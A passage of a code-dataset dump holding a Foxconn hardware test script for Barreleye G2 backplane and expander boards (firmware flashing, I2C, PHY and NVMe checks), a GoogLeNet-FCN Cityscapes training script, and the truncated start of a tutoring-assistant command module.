Fail\", FONT_RED)\n\t\treturn False\n#===============================================================================\ndef Update_EXP_FW():\n\t'''Update Expander FW via Teraterm'''\n\n\tglobal EXP_COM_PORT\n\tglobal EXP_VER\n\n\tflag = False\n\n\tret = Input_EXP_CMD(\"showmfg\")\n\tif(ret == False):\n\t\treturn False\n\n\tfor i in ret:\n\t\tif(\"Associated Firmware Revision:\" in i and EXP_VER in i):\n\t\t\tflag = True\n\n\tif(flag == False):\n\t\tos.chdir(TERATERM_DIR)\n\n\t\tf = open(\"Update_EXP_FW.ttl\", \"r\")\n\t\tmsg = f.readlines()\n\t\tf.close()\n\n\t\tfor index in range(len(msg)):\n\t\t\tif(\"/baud=115200\" in msg[index]):\n\t\t\t\tmsg[index] = \"connect '/c=%s /baud=115200'\\n\"%(EXP_COM_PORT[-1])\n\n\t\tf = open(\"Update_EXP_FW.ttl\", \"w\")\n\t\tf.writelines(msg)\n\t\tf.close()\n\n\t\tret = subprocess.call(\"ttpmacro.exe Update_EXP_FW.ttl\", shell = True)\n\t\tif(ret == 0):\n\t\t\tflag = True\n\n\t\tos.chdir(ROOT_DIR)\n\n\tif(flag):\n\t\tLog(\"Update_EXP_FW Pass\", FONT_GREEN)\n\t\treturn True\n\telse:\n\t\tLog(\"Update_EXP_FW Fail\", FONT_RED)\n\t\treturn False\n#===============================================================================\ndef Program_EXP_FW():\n\t'''Program Expander FW via g3Xflash'''\n\n\tflag_0 = False\n\tflag_1 = False\n\tflag_2 = False\n\n\tcmd_0 = \"g3Xflash.exe -n -f -r -s COM1 down fw BarreleyeG2-Firmware_Image_v0.3.0.1_20170607.fw 0\"\n\tcmd_1 = \"g3Xflash.exe -n -f -r -s COM1 down fw BarreleyeG2-Firmware_Image_v0.3.0.1_20170607.fw 1\"\n\tcmd_2 = \"g3Xflash.exe -n -f -r -s COM1 down mfg BarreleyeG2-Mfg_Page_v0.3.0.1_20170607.bin 3\"\n\n\tos.chdir(EXP_FW_DIR)\n\n\tLog(\"Program Section0...\", FONT_YELLOW)\n\tret = os.system(cmd_0)\n\tif(ret == 0):\n\t\tflag_0 = True\n\n\tLog(\"Program Section1...\", FONT_YELLOW)\n\tret = os.system(cmd_1)\n\tif(ret == 0):\n\t\tflag_1 = True\n\n\tLog(\"Program Section3...\", FONT_YELLOW)\n\tret = os.system(cmd_2)\n\tif(ret == 0):\n\t\tflag_2 = True\n\n\tos.chdir(ROOT_DIR)\n\n\ttime.sleep(5)\n\n\tif(flag_0 and flag_1 and flag_2):\n\t\tLog(\"Program_EXP_FW Pass\", FONT_GREEN)\n\t\treturn True\n\telse:\n\t\tif(flag_0 == False):\n\t\t\tLog(\"Program_EXP_FW Fail (Section0)\", FONT_RED)\n\t\tif(flag_1 == False):\n\t\t\tLog(\"Program_EXP_FW Fail (Section1)\", FONT_RED)\n\t\tif(flag_2 == False):\n\t\t\tLog(\"Program_EXP_FW Fail (Section3)\", FONT_RED)\n\t\treturn False\n#===============================================================================\ndef Check_EXP_FW():\n\t'''Check EXP FW Version'''\n\n\tglobal EXP_VER\n\n\tflag = False\n\n\tret = Input_EXP_CMD(\"showmfg\")\n\tif(ret == False):\n\t\treturn False\n\n\tfor i in ret:\n\t\tif(\"Associated Firmware Revision:\" in i and EXP_VER in i):\n\t\t\tflag = True\n\t\t\tconfig = configparser.ConfigParser()\n\t\t\tconfig.read(os.path.join(SFC_DIR, \"SFC.ini\"))\n\t\t\tconfig[\"UUT\"][\"FIRMWAREVER\"] = \"[EXP:%s]\"%(EXP_VER)\n\t\t\tconfig.write(open(os.path.join(SFC_DIR, \"SFC.ini\"), \"w\"))\n\n\tif(flag):\n\t\tLog(\"Check_EXP_FW Pass\", FONT_GREEN)\n\t\treturn True\n\telse:\n\t\tLog(\"Check_EXP_FW Fail\", FONT_RED)\n\t\treturn False\n#===============================================================================\ndef Check_EXP_PHY_RAID():\n\t'''Check EXP RAID PHY Info'''\n\n\tflag = True\n\n\tindex = 0\n\n\traid_phy = [0, 1, 2, 3, 4, 5, 6, 7]\n\n\tfor index in raid_phy:\n\t\tret = Input_EXP_CMD(\"phyinfo %d\"%(index))\n\t\tif(ret == False):\n\t\t\treturn False\n\n\t\tif(ret[6].split()[0] == \"%02d\"%(index)):\n\t\t\tif(ret[6].split()[2] == \"12G\"):\n\t\t\t\tLog(\"Phy%d PASS\"%(index), FONT_GREEN)\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tLog(\"Phy%d FAIL\"%(index), FONT_RED)\n\t\t\t\tflag = False\n\t\t\t\t#break\n\n\tif(flag):\n\t\tLog(\"Check_EXP_PHY_RAID Pass\", FONT_GREEN)\n\t\treturn True\n\telse:\n\t\tLog(\"Check_EXP_PHY_RAID Fail (PHY%d)\"%(index), FONT_RED)\n\t\treturn False\n#===============================================================================\ndef Check_EXP_PHY_HDD():\n\t'''Check EXP HDD PHY Info'''\n\n\tflag = True\n\n\tindex = 0\n\n\thdd_phy = [19, 12, 20, 39, 32, 18, 13, 27, 38, 33, 17, 14, 21, 37, 34, 16, 15, 26, 36, 35, 25, 24, 23, 22]\n\n\tfor hdd_index in range(len(hdd_phy)):\n\t\tphy_index = hdd_phy[hdd_index]\n\t\tLog(\"Check HDD%d Phy%d\"%(hdd_index, phy_index), FONT_YELLOW)\n\n\t\tret = Input_EXP_CMD(\"phyinfo %d\"%(phy_index))\n\t\tif(ret == False):\n\t\t\treturn False\n\n\t\tif(ret[6].split()[0] == \"%02d\"%(phy_index)):\n\t\t\tif(ret[6].split()[2] == \"12G\"):\n\t\t\t\tLog(\"HDD%d Phy%d PASS\"%(hdd_index, phy_index), FONT_GREEN)\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tLog(\"HDD%d Phy%d FAIL\"%(hdd_index, phy_index), FONT_RED)\n\t\t\t\tflag = False\n\t\t\t\t#break\n\n\tif(flag):\n\t\tLog(\"Check_EXP_PHY_HDD Pass\", FONT_GREEN)\n\t\treturn True\n\telse:\n\t\tLog(\"Check_EXP_PHY_HDD Fail (HDD%d Phy%d)\"%(hdd_index, phy_index), FONT_RED)\n\t\treturn False\n#===============================================================================\ndef Check_EXP_LED():\n\t'''Check EXP LED'''\n\n\tBanner_1(LED_BANNER)\n\n\tflag = False\n\n\tret = Input_EXP_CMD(\"sesstat all ident 1\")\n\tif(ret == False):\n\t\treturn False\n\n\tret = Input_EXP_CMD(\"sesstat all fault 1\")\n\tif(ret == False):\n\t\treturn False\n\n\tret = input(\"Press y/n for BP LEDs!!\\n\").strip().lower()\n\tif(ret == \"y\"):\n\t\tflag = True\n\n\tif(flag):\n\t\tLog(\"Check_EXP_LED Pass\", FONT_GREEN)\n\t\treturn True\n\telse:\n\t\tLog(\"Check_EXP_LED Fail\", FONT_RED)\n\t\treturn False\n#===============================================================================\ndef Check_I2C_Bus():\n\t'''Check I2C Bus (i2cdetect)'''\n\n\tflag = False\n\n\tif(CARD == \"Tri-BP\"):\n\t\ti2c9_device = [0x4f, 0x55, 0x71, 0x72, 0x73, 0x74, 0x75]\n\n\tif(CARD == \"Tri-EXP\"):\n\t\ti2c9_device = [0x51, 0x62]\n\n\tflag = Find_I2C_Device(Input_CMD(\"i2cdetect -y 9\", 2), i2c9_device)\n\n\tif(flag):\n\t\tLog(\"Check_I2C_Bus Pass\", FONT_GREEN)\n\t\treturn True\n\telse:\n\t\tLog(\"Check_I2C_Bus Fail\", FONT_RED)\n\t\treturn False\n#===============================================================================\ndef Find_I2C_Device(ret, addr_list):\n\t'''Find I2C Device from i2cdetect Message'''\n\n\tresult = True\n\n\tfor addr in addr_list:\n\t\tpresence = False\n\t\ta1 = (addr & 0b11110000) >> 4\n\t\ta0 = addr & 0b00001111\n\t\tfor i in ret:\n\t\t\tif(\"%X0:\"%(a1) in i):\n\t\t\t\tif(a1 == 0):\n\t\t\t\t\tif(i.split()[a0-2] != \"--\"):\n\t\t\t\t\t\tLog(\"Find I2C Device (0x%02X)\"%(addr), FONT_YELLOW)\n\t\t\t\t\t\tpresence = True\n\t\t\t\telse:\n\t\t\t\t\tif(i.split()[a0+1] != \"--\"):\n\t\t\t\t\t\tLog(\"Find I2C Device (0x%02X)\"%(addr), FONT_YELLOW)\n\t\t\t\t\t\tpresence = True\n\n\t\tresult = result and presence\n\n\treturn result\n#===============================================================================\ndef Program_FRU():\n\t'''Program FRU via Barreleye_FRU_Tool.py'''\n\n\tflag = False\n\n\tret = subprocess.call(\"python Barreleye_FRU_Tool.py --com %s --pn %s --sn %s\"%(COM_PORT, PN, SN))\n\tif(ret == 0):\n\t\tflag = True\n\n\tif(flag):\n\t\tLog(\"Program_FRU Pass\", FONT_GREEN)\n\t\treturn True\n\telse:\n\t\tLog(\"Program_FRU Fail\", FONT_RED)\n\t\treturn False\n#===============================================================================\ndef Check_BP_TMP75():\n\t'''Check BP TMP75 Temperature'''\n\n\tflag = False\n\n\tret = Input_CMD(\"i2cget -f -y 9 0x4f 0x00\")\n\tif(ret == False):\n\t\treturn False\n\n\ttry:\n\t\ttemperature = int(ret[1], 16)\n\texcept:\n\t\tLog(\"Check_BP_TMP75 Fail (Get Temperature Value)\", FONT_RED)\n\t\treturn False\n\n\tLog(\"Temperature = %d\"%(temperature), FONT_YELLOW)\n\n\tif(10 < temperature < 40):\n\t\tflag = True\n\n\tif(flag):\n\t\tLog(\"Check_BP_TMP75 Pass\", FONT_GREEN)\n\t\treturn True\n\telse:\n\t\tLog(\"Check_BP_TMP75 Fail\", FONT_RED)\n\t\treturn False\n#===============================================================================\ndef Enter_Petitboot_Linux():\n\t'''Enter Petitboot Linux'''\n\n\tInput_CMD(\"obmcutil poweron\")\n\tInput_CMD(\"obmc-console-client\")\n\n\ttry:\n\t\ts = serial.Serial(port = COM_PORT, baudrate = 115200, timeout = 1)\n\texcept:\n\t\tLog(\"Open BMC COM Port (%s) Fail!!\"%(COM_PORT), FONT_RED)\n\t\tsys.exit(-1)\n\n\tLog(\"Waiting for Petitboot Linux\", FONT_YELLOW)\n\tstart = time.time()\n\twhile 1:\n\t\tret = s.readline().decode(errors = \"ignore\").strip()\n\t\tif(DEBUG_MODE):\n\t\t\tLog(ret, FONT_WHITE)\n\n\t\tif(\"Exit to shell\" in ret):\n\t\t\tLog(\"Enter Petitboot\", FONT_YELLOW)\n\t\t\tbreak\n\n\t\tif((time.time() - start) > 300):\n\t\t\tLog(\"Enter_Petitboot_Linux Fail (Timeout)\", FONT_RED)\n\t\t\treturn False\n\n\ts.close()\n\n\tflag = False\n\n\tret = Input_CMD(\"\")\n\tfor i in ret:\n\t\tif(\"/ #\" in i):\n\t\t\tflag = True\n\n\tif(flag):\n\t\tLog(\"Enter_Petitboot_Linux Pass\", FONT_GREEN)\n\t\treturn True\n\telse:\n\t\tLog(\"Enter_Petitboot_Linux Fail\", FONT_RED)\n\t\treturn False\n#===============================================================================\ndef Check_NVME():\n\t'''Check NVME Information'''\n\n\tflag_id = False\n\tflag_status = False\n\n\t#(nvme, pcie_link_width)\n\tnvme_list = [\n\t\t(\"0000:0b:00.0\", 4),\n\t\t(\"0000:0c:00.0\", 4),\n\t\t(\"0000:0d:00.0\", 4),\n\t\t(\"0000:0e:00.0\", 4),\n\t\t(\"0000:0f:00.0\", 2),\n\t\t(\"0000:10:00.0\", 2),\n\t\t(\"0000:11:00.0\", 2),\n\t\t(\"0000:12:00.0\", 2),\n\t\t(\"0000:13:00.0\", 4),\n\t\t(\"0000:14:00.0\", 4),\n\t\t(\"0000:15:00.0\", 4),\n\t\t(\"0000:16:00.0\", 4),\n\t\t(\"0000:17:00.0\", 2),\n\t\t(\"0000:18:00.0\", 2),\n\t\t(\"0000:19:00.0\", 2),\n\t\t(\"0000:1a:00.0\", 2),\n\t\t(\"0000:1b:00.0\", 2),\n\t\t(\"0000:1c:00.0\", 2),\n\t\t(\"0000:1d:00.0\", 2),\n\t\t(\"0000:1e:00.0\", 2),\n\t]\n\n\tfor (nvme, pcie_link_width) in nvme_list:\n\t\tflag_id = False\n\t\tflag_status = False\n\n\t\tLog(\"Check %s\"%(nvme), FONT_YELLOW)\n\t\tret = Input_CMD(\"lspci -s %s -vv -x\"%(nvme))\n\t\tif(ret == False):\n\t\t\treturn False\n\n\t\tfor i in ret:\n\t\t\tif(\"00: 86 80 a5 f1\" in i):\n\t\t\t\tflag_id = True\n\n\t\t\tif(\"LnkSta:\" in i and \"Speed 8GT/s, Width x%d\"%(pcie_link_width) in i):\n\t\t\t\tflag_status = True\n\n\t\tif(flag_id and flag_status):\n\t\t\tLog(\"%s Pass\"%(nvme), FONT_GREEN)\n\t\telse:\n\t\t\tLog(\"%s Fail\"%(nvme), FONT_RED)\n\t\t\tbreak\n\n\tif(flag_id and flag_status):\n\t\tLog(\"Check_NVME Pass\", FONT_GREEN)\n\t\treturn True\n\telse:\n\t\tif(flag_id == False):\n\t\t\tLog(\"Check_NVME Fail (%s)(VID/DID)\"%(nvme), FONT_RED)\n\t\tif(flag_status == False):\n\t\t\tLog(\"Check_NVME Fail (%s)(Link Speed/Width)\"%(nvme), FONT_RED)\n\t\treturn False\n#===============================================================================\ndef main():\n\tglobal PPID\n\tglobal SN\n\tglobal PN\n\tglobal CARD\n\tglobal LOG_DIR\n\tglobal DEBUG_MODE\n\tglobal FAIL_CONTINUE\n\tglobal COM_PORT\n\tglobal EXP_COM_PORT\n\tglobal EXP_VER\n\tglobal UUT_STATIONID\n\tglobal UUT_FIXTUREID\n\n\tBanner(\"Barreleye G2 BP/EXP FVS Tool, By Foxconn CESBG-EPDI-TE, Version: %s\"%(VER))\n\n\tif(os.path.isdir(LOG_DIR) == False):\n\t\tos.mkdir(LOG_DIR)\n\n\tScan_PPID()\n\n\tconfig = configparser.ConfigParser()\n\tconfig.read(os.path.join(SFC_DIR, \"SFC.ini\"))\n\n\tDEBUG_MODE = config.getboolean(\"Test\", \"DEBUG_MODE\")\n\tFAIL_CONTINUE = config.getboolean(\"Test\", \"FAIL_CONTINUE\")\n\tCOM_PORT = config.get(\"Test\", \"COM_PORT\")\n\tEXP_COM_PORT = config.get(\"Test\", \"EXP_COM_PORT\")\n\tEXP_VER = config.get(\"Test\", \"EXP_VER\")\n\tUUT_STATIONID = config.get(\"UUT\", \"STATIONID\")\n\tUUT_FIXTUREID = config.get(\"UUT\", \"FIXTUREID\")\n\n\tconfig[\"UUT\"][\"diagsver\"] = VER\n\tconfig[\"UUT\"][\"ppid\"] = PPID\n\tconfig[\"UUT\"][\"pn\"] = PN\n\tconfig[\"UUT\"][\"sn\"] = SN\n\tconfig[\"UUT\"][\"result\"] = \"PASS\"\n\tconfig[\"UUT\"][\"MAC\"] = \"NA\"\n\tconfig[\"UUT\"][\"errormessage\"] = \"NA\"\n\tconfig[\"UUT\"][\"firmwarever\"] = \"NA\"\n\tconfig[\"UUT\"][\"begintime\"] = \"%d\"%time.time()\n\n\tif(CARD == \"Tri-EXP\"):\n\t\tconfig[\"Host\"][\"projectname\"] = \"BAR_G2_Tri-EXP_%s\"%(UUT_FIXTUREID)\n\t\tconfig[\"Host\"][\"driver\"] = \"C:\\\\Tri-EXP\"\n\tif(CARD == \"Tri-BP\"):\n\t\tconfig[\"Host\"][\"projectname\"] = \"BAR_G2_Tri-BP_%s\"%(UUT_FIXTUREID)\n\t\tconfig[\"Host\"][\"driver\"] = \"C:\\\\Tri-BP\"\n\n\tLOG_DIR = os.path.join(config.get(\"Host\", \"DRIVER\"), datetime.datetime.strftime(datetime.datetime.now(), \"%Y%m%d\"))\n\tif(os.path.isdir(LOG_DIR) == False):\n\t\tos.mkdir(LOG_DIR)\n\n\tconfig.write(open(os.path.join(SFC_DIR, \"SFC.ini\"), \"w\"))\n\n\tif(UUT_STATIONID == \"DBG-001\"):\n\t\tLog(\"DEBUG STATION\", FONT_YELLOW)\n\tif(DEBUG_MODE):\n\t\tLog(\"DEBUG_MODE\", FONT_YELLOW)\n\tif(FAIL_CONTINUE):\n\t\tLog(\"FAIL_CONTINUE\", FONT_YELLOW)\n\n\tLog(\"Test Station: %s\"%(UUT_STATIONID), FONT_YELLOW)\n\tLog(\"Test Fixture: %s\"%(UUT_FIXTUREID), FONT_YELLOW)\n\n\tif(CARD == \"Tri-EXP\"):\n\t\tif(UUT_FIXTUREID == \"FCT1\"):\n\t\t\tBanner_1(FCT1_BANNER)\n\t\t\ttest_sequence = [\n\t\t\t\tEnter_BMC_UBOOT,\n\t\t\t\tEnter_BMC_Linux,\n\t\t\t\tCheck_I2C_Bus,\n\t\t\t\tProgram_FRU,\n\t\t\t\tProgram_EXP_FW,\n\t\t\t\tCheck_EXP_Serial,\n\t\t\t\tCheck_EXP_FW,\n\t\t\t\tCheck_EXP_PHY_RAID,\n\t\t\t\tCheck_EXP_PHY_HDD,\n\t\t\t\t# Check_EXP_LED,\n\t\t\t]\n\n\t\tif(UUT_FIXTUREID == \"FCT2\"):\n\t\t\tBanner_1(FCT2_BANNER)\n\t\t\ttest_sequence = [\n\t\t\t\tEnter_BMC_UBOOT,\n\t\t\t\tEnter_BMC_Linux,\n\t\t\t\tEnter_Petitboot_Linux,\n\t\t\t\tCheck_NVME,\n\t\t\t]\n\n\tif(CARD == \"Tri-BP\"):\n\t\tif(UUT_FIXTUREID == \"FCT1\"):\n\t\t\tBanner_1(FCT1_BANNER)\n\t\t\ttest_sequence = [\n\t\t\t\tEnter_BMC_UBOOT,\n\t\t\t\tEnter_BMC_Linux,\n\t\t\t\tCheck_I2C_Bus,\n\t\t\t\tCheck_BP_TMP75,\n\t\t\t\tProgram_FRU,\n\t\t\t\tCheck_EXP_Serial,\n\t\t\t\tCheck_EXP_FW,\n\t\t\t\tCheck_EXP_PHY_RAID,\n\t\t\t\tCheck_EXP_PHY_HDD,\n\t\t\t\t# Check_EXP_LED,\n\t\t\t]\n\n\t\tif(UUT_FIXTUREID == \"FCT2\"):\n\t\t\tBanner_1(FCT2_BANNER)\n\t\t\ttest_sequence = [\n\t\t\t\tEnter_BMC_UBOOT,\n\t\t\t\tEnter_BMC_Linux,\n\t\t\t\tEnter_Petitboot_Linux,\n\t\t\t\tCheck_NVME,\n\t\t\t]\n\n\ttest_result = True\n\tresult_msg = []\n\n\ttest_start = datetime.datetime.now()\n\tLog(\"Test Start...\", FONT_YELLOW)\n\tfor test_item in test_sequence:\n\t\tLog(\"=\"*58, FONT_NONE)\n\t\tBanner(test_item.__doc__)\n\t\tLog(\"Test Item: %s (%s)\"%(test_item.__doc__, test_item.__name__), FONT_YELLOW)\n\t\ttime.sleep(1)\n\t\tif(test_item() == False):\n\t\t\ttest_result = False\n\t\t\tresult_msg.append((test_item.__name__, False))\n\t\t\tif(FAIL_CONTINUE):\n\t\t\t\tinput(\"%s Fail!! Press ENTER to Continue...\"%(test_item.__doc__))\n\t\t\telse:\n\t\t\t\tbreak\n\t\telse:\n\t\t\tresult_msg.append((test_item.__name__, True))\n\t\ttime.sleep(1)\n\t\tLog(\"=\"*58, FONT_NONE)\n\tLog(\"Test End...\", FONT_YELLOW)\n\ttest_end = datetime.datetime.now()\n\n\tprint(\"\")\n\tLog(\"Test Start: %s\"%(str(test_start)), FONT_YELLOW)\n\tLog(\"Test End: %s\"%(str(test_end)), FONT_YELLOW)\n\tLog(\"Test Time: %s\"%(str(test_end - test_start)), FONT_YELLOW)\n\tprint(\"\")\n\tfor (item_name, result) in result_msg:\n\t\tif(result):\n\t\t\tmsg = item_name.ljust(52, \"-\") + \"[PASS]\"\n\t\t\tLog(msg, FONT_GREEN)\n\t\telse:\n\t\t\tmsg = item_name.ljust(52, \"-\") + \"[FAIL]\"\n\t\t\tLog(msg, FONT_RED)\n\tprint(\"\")\n\n\tif(test_result):\n\t\tShow_Pass()\n\telse:\n\t\tShow_Fail(\"%s Fail\"%(test_item.__doc__))\n#===============================================================================\nif(__name__ == \"__main__\"):\n\ttry:\n\t\tmain()\n\texcept Exception as e:\n\t\tprint(\"ERROR: %s\"%(str(e)))\n\t\tsys.exit(-1)\n\tsys.exit(0)\n","sub_path":"Zaius/Barreleye_BP_EXP_FVS_Tool.py","file_name":"Barreleye_BP_EXP_FVS_Tool.py","file_ext":"py","file_size_in_byte":28402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"332010899","text":"import os\nimport random\nimport sys\nfrom argparse import ArgumentParser\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.utils.data as data\nfrom ignite.contrib.handlers import ProgressBar, TensorboardLogger\nfrom ignite.contrib.handlers.tensorboard_logger import OutputHandler, OptimizerParamsHandler, WeightsHistHandler\nfrom ignite.engine import Events, create_supervised_evaluator, create_supervised_trainer\nfrom ignite.metrics import RunningAverage, Loss\n\nfrom googlenet_fcn.datasets.cityscapes import CityscapesDataset, FineCoarseDataset\nfrom googlenet_fcn.datasets.transforms.transforms import Compose, ToTensor, \\\n RandomHorizontalFlip, ConvertIdToTrainId, Normalize, RandomGaussionNoise, ColorJitter, RandomGaussionBlur, \\\n RandomAffine\nfrom googlenet_fcn.metrics.confusion_matrix import ConfusionMatrix, IoU, cmAccuracy\nfrom googlenet_fcn.model.googlenet_fcn import GoogLeNetFCN\nfrom googlenet_fcn.utils import save, freeze_batchnorm\n\n\ndef get_data_loaders(data_dir, batch_size, val_batch_size, num_workers, include_coarse):\n transform = Compose([\n RandomHorizontalFlip(),\n RandomAffine(translate=(0.1, 0.1), scale=(0.7, 2.0), shear=(-10, 10)),\n RandomGaussionBlur(radius=2.0),\n ColorJitter(0.1, 0.1, 0.1, 0.1),\n ToTensor(),\n Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\n RandomGaussionNoise(),\n ConvertIdToTrainId()\n ])\n\n val_transform = Compose([\n ToTensor(),\n ConvertIdToTrainId(),\n Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n ])\n\n fine = CityscapesDataset(root=data_dir, split='train', mode='fine', transforms=transform)\n\n if include_coarse:\n coarse = CityscapesDataset(root=data_dir, split='train_extra', mode='coarse', transforms=transform)\n train_loader = data.DataLoader(FineCoarseDataset(fine, coarse), batch_size=batch_size, shuffle=True,\n num_workers=num_workers, pin_memory=True)\n else:\n train_loader = data.DataLoader(fine, batch_size=batch_size, shuffle=True, num_workers=num_workers,\n pin_memory=True)\n\n val_loader = data.DataLoader(CityscapesDataset(root=data_dir, split='val', transforms=val_transform),\n batch_size=val_batch_size, shuffle=False, num_workers=num_workers, pin_memory=True)\n\n return train_loader, val_loader\n\n\ndef run(args):\n if args.seed is not None:\n random.seed(args.seed)\n torch.manual_seed(args.seed)\n\n num_classes = CityscapesDataset.num_classes()\n device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n model = GoogLeNetFCN(num_classes)\n model.init_from_googlenet()\n\n device_count = torch.cuda.device_count()\n if device_count > 1:\n print(\"Using %d GPU(s)\" % device_count)\n model = nn.DataParallel(model)\n args.batch_size = device_count * args.batch_size\n args.val_batch_size = device_count * args.val_batch_size\n\n model = model.to(device)\n\n train_loader, val_loader = get_data_loaders(args.dataset_dir, args.batch_size, args.val_batch_size,\n args.num_workers, args.include_coarse)\n\n criterion = nn.CrossEntropyLoss(ignore_index=255, reduction='sum')\n\n optimizer = optim.SGD([{'params': [param for name, param in model.named_parameters() if name.endswith('weight')]},\n {'params': [param for name, param in model.named_parameters() if name.endswith('bias')],\n 'lr': args.lr * 2, 'weight_decay': 0}],\n lr=args.lr, momentum=args.momentum, weight_decay=args.weight_decay)\n\n if args.resume:\n if os.path.isfile(args.resume):\n print(\"Loading checkpoint '{}'\".format(args.resume))\n checkpoint = torch.load(args.resume)\n args.start_epoch = checkpoint['epoch']\n best_iou = checkpoint.get('bestIoU', 0.0)\n model.load_state_dict(checkpoint['model'])\n optimizer.load_state_dict(checkpoint['optimizer'])\n print(\"Loaded checkpoint '{}' (Epoch {})\".format(args.resume, checkpoint['epoch']))\n else:\n print(\"No checkpoint found at '{}'\".format(args.resume))\n sys.exit()\n\n if args.freeze_bn:\n print(\"Freezing batch norm\")\n model = freeze_batchnorm(model)\n\n trainer = create_supervised_trainer(model, optimizer, criterion, device, non_blocking=True)\n\n RunningAverage(output_transform=lambda x: x).attach(trainer, 'loss')\n\n # attach progress bar\n pbar = ProgressBar(persist=True)\n pbar.attach(trainer, metric_names=['loss'])\n\n cm = ConfusionMatrix(num_classes)\n evaluator = create_supervised_evaluator(model, metrics={'loss': Loss(criterion),\n 'IoU': IoU(cm),\n 'accuracy': cmAccuracy(cm)},\n device=device, non_blocking=True)\n\n pbar2 = ProgressBar(persist=True, desc='Eval Epoch')\n pbar2.attach(evaluator)\n\n def _global_step_transform(engine, event_name):\n return trainer.state.iteration\n\n tb_logger = TensorboardLogger(args.log_dir)\n tb_logger.attach(trainer,\n log_handler=OutputHandler(tag='training',\n metric_names=['loss']),\n event_name=Events.ITERATION_COMPLETED)\n\n tb_logger.attach(trainer,\n log_handler=OptimizerParamsHandler(optimizer),\n event_name=Events.ITERATION_STARTED)\n\n tb_logger.attach(trainer,\n log_handler=WeightsHistHandler(model),\n event_name=Events.EPOCH_COMPLETED)\n\n tb_logger.attach(evaluator,\n log_handler=OutputHandler(tag='validation',\n metric_names=['loss', 'IoU', 'accuracy'],\n global_step_transform=_global_step_transform),\n event_name=Events.EPOCH_COMPLETED)\n\n @evaluator.on(Events.EPOCH_COMPLETED)\n def save_checkpoint(engine):\n iou = engine.state.metrics['IoU'] * 100.0\n mean_iou = iou.mean()\n\n is_best = mean_iou.item() > trainer.state.best_iou\n trainer.state.best_iou = max(mean_iou.item(), trainer.state.best_iou)\n\n name = 'epoch{}_mIoU={:.1f}.pth'.format(trainer.state.epoch, mean_iou)\n file = {'model': model.state_dict(), 'epoch': trainer.state.epoch, 'iteration': engine.state.iteration,\n 'optimizer': optimizer.state_dict(), 'args': args, 'bestIoU': trainer.state.best_iou}\n\n save(file, args.output_dir, 'checkpoint_{}'.format(name))\n if is_best:\n save(model.state_dict(), args.output_dir, 'model_{}'.format(name))\n\n @trainer.on(Events.STARTED)\n def initialize(engine):\n if args.resume:\n engine.state.epoch = args.start_epoch\n engine.state.iteration = args.start_epoch * len(engine.state.dataloader)\n engine.state.best_iou = best_iou\n else:\n engine.state.best_iou = 0.0\n\n @trainer.on(Events.EPOCH_COMPLETED)\n def log_validation_results(engine):\n pbar.log_message(\"Start Validation - Epoch: [{}/{}]\".format(engine.state.epoch, engine.state.max_epochs))\n evaluator.run(val_loader)\n metrics = evaluator.state.metrics\n loss = metrics['loss']\n iou = metrics['IoU']\n acc = metrics['accuracy']\n mean_iou = iou.mean()\n\n pbar.log_message(\"Validation results - Epoch: [{}/{}]: Loss: {:.2e}, Accuracy: {:.1f}, mIoU: {:.1f}\"\n .format(engine.state.epoch, engine.state.max_epochs, loss, acc * 100.0, mean_iou * 100.0))\n\n print(\"Start training\")\n trainer.run(train_loader, max_epochs=args.epochs)\n tb_logger.close()\n\n\nif __name__ == '__main__':\n parser = ArgumentParser('GoogLeNet-FCN with PyTorch')\n parser.add_argument('--batch-size', type=int, default=1,\n help='input batch size for training')\n parser.add_argument('--val-batch-size', type=int, default=4,\n help='input batch size for validation')\n parser.add_argument('--num-workers', type=int, default=4,\n help='number of workers')\n parser.add_argument('--epochs', type=int, default=250,\n help='number of epochs to train')\n parser.add_argument('--lr', type=float, default=1e-10,\n help='learning rate')\n parser.add_argument('--momentum', type=float, default=0.99,\n help='momentum')\n parser.add_argument('--weight-decay', '--wd', type=float, default=5e-4,\n help='momentum')\n parser.add_argument('--include-coarse', action='store_true',\n help='include coarse data')\n parser.add_argument('--freeze-bn', action='store_true',\n help='freeze batch norm during training')\n parser.add_argument('--seed', type=int, default=123, help='manual seed')\n parser.add_argument('--output-dir', default='checkpoints',\n help='directory to save model checkpoints')\n parser.add_argument('--resume', default='', type=str, metavar='PATH',\n help='path to latest checkpoint (default: none)')\n parser.add_argument('--log-dir', type=str, default='logs',\n help='log directory for Tensorboard log output')\n parser.add_argument('--dataset-dir', type=str, default='data/cityscapes',\n help='location of the dataset')\n\n run(parser.parse_args())\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":9776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"478671014","text":"from collections import defaultdict\nfrom json import load, dump\nfrom pathlib import Path\nfrom random import shuffle\nfrom shutil import copy, copytree\n\nfrom assistance.command import Command\nfrom assistance.command.info import select_student_by_name\nfrom data.storage import InteractiveDataStorage\n\n\nclass ImportCommand(Command):\n def __init__(self, printer, storage: InteractiveDataStorage):\n super().__init__(printer, \"import\", (\"<-\",), 1, 1)\n self._storage = storage\n\n def __call__(self, *args, **kwargs):\n value = args[0]\n student = select_student_by_name(\n value,\n self._storage,\n self.printer,\n self._storage.import_student,\n mode='other'\n )\n\n if student is not None:\n tutorial = self._storage.get_tutorial_by_id(student.tutorial_id)\n self.printer.inform(f\"The student '{student}' from {tutorial.time} was registered as your student.\")\n self.printer.inform(f\"Workflow commands will also consider this student now as your own.\")\n\n\nclass ExportCommand(Command):\n def __init__(self, printer, storage: InteractiveDataStorage):\n super().__init__(printer, \"export\", (\"->\", \"exclude\"), 1, 1)\n self._storage = storage\n\n def __call__(self, *args, **kwargs):\n value = args[0]\n student = select_student_by_name(\n value,\n self._storage,\n self.printer,\n self._storage.export_student,\n mode='my'\n )\n\n if student is not None:\n tutorial = self._storage.get_tutorial_by_id(student.tutorial_id)\n self.printer.inform(f\"The student '{student}' from {tutorial.time} was deregistered from your group.\")\n self.printer.inform(f\"Workflow commands will ignore this student.\")\n\n\nclass AssignTutorsCommand(Command):\n def __init__(self, printer, storage: InteractiveDataStorage):\n super().__init__(printer, \"assign-tutors\", 